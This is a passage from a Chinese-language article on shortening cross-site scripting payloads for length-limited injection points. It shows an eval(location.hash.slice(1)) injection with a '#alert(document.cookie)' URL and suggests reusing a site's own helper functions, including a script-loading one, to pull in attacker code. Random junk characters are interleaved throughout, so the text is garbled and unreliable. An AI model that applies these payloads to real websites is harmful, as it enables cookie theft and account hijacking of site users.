2 m) c8 p' i: P* R# D& H. R 那么还有没有办法更短呢?答案是YES,查阅一下MSND里的location对象的参考你会发现 ) \. v! z; D3 | w: Z有个hash成员,获取#之后的数据,那么我们可以把要执行的代码放在#后面,然后通过hash获 B) }7 P/ v" N& l% p9 a$ l得代码执行,由于获得的数据是#开头的,所以只需要slice一个字符就可以拿到代码:) K, v; h- _7 v8 j0 i# v2 v
' r& {* n2 O/ q# I$ @2 P
--code-------------------------------------------------------------------------) u1 W% D$ k+ k! B6 v1 {. P" a http://www.xssedsite.com/xssed.php?x=1....#alert(document.cookie) z8 n e3 `# O5 P4 R
2 o+ [! ^7 [7 L
<limited_xss_point>eval(location.hash.slice(1));</limited_xss_point> " n/ u# m$ [5 L" P6 k9 |-------------------------------------------------------------------------------: R/ F. Y3 v4 G; a2 i
" e% S; S! @6 h& N8 N3 O
长度:29 . y( w4 v- v, O% u0 J- O - b; b8 R$ }! {( s 这样比上面的例子又少了一个字符。那么还可以更短么?8 K) [# W9 Q$ d% U
. ]$ g0 \. L) r* A
: `5 r6 }0 F& j& S2.3 JS上下文的利用( e2 G8 ]- h3 ^; O) B. Q
/ s1 |- r# Q+ b" I
为什么我如此痛苦?那是因为JS和DHTML的方法名和属性名太长!瞧瞧这些“糟糕”的名字: 9 v/ l) [9 j: G% n1 l, ~ ; a# [( d X/ e: Q/ t: @) yString.fromCharCode & ?; D7 c; C" N6 c+ F2 x! ?* cgetElementById ) e- c6 s; A" `0 y( qgetElementsByTagName) o1 V3 W; Z( l% M" s2 e p
document.write / V6 P, L/ o, t3 eXMLHTTPRequest2 x e& S9 f. N3 d; c
...& Y4 V. i+ y/ k% z
% n- ^2 g# ?# Y: V& ~" t3 P+ q
就连开发人员也不愿意多写一次,于是很多站点的前端开发工程师们封装了各式各样的5 @+ E1 \& f2 j. y& P }; u# N
简化函数,最经典的例子就是:4 I3 z# C6 `1 T7 m
}+ H2 Q2 {# [ @3 o. `' i
--code------------------------------------------------------------------------- 9 |/ A- L9 }7 L% l) Bfunction $(id) { + E* L' f* A+ L- u% Z return document.getElementById(id);6 J$ {0 h$ x; i- M
} ' z0 z7 t- A) G L0 h------------------------------------------------------------------------------- 6 n" a9 a& r4 [' Y% L- d 9 @& i- X( n, z9 A& q0 O 这些函数同样可以为我们所用,用来缩短我们的Payload的长度。不过上面这个例子不是 8 [6 i7 w* {# q2 \7 b4 R" `7 {7 t最短的,IE和FF都支持直接通过ID来引用一个元素。有些函数可以直接用来加载我们的代码:3 Z/ P% r6 W" X4 L4 V% z
* g) ^& [+ G* R( m1 u9 u" e7 v--code-------------------------------------------------------------------------' B) K6 O8 w5 _% R: I( a. [
function loads(url) {' M9 N% ]- L8 U/ Q& n' G8 D0 {$ l
... 8 ~; ]& D. V; L' t0 N document.body.appendChild(script); , `3 l. K4 u+ L/ p6 Q a t}3 w v; l! M: k9 W( T3 m I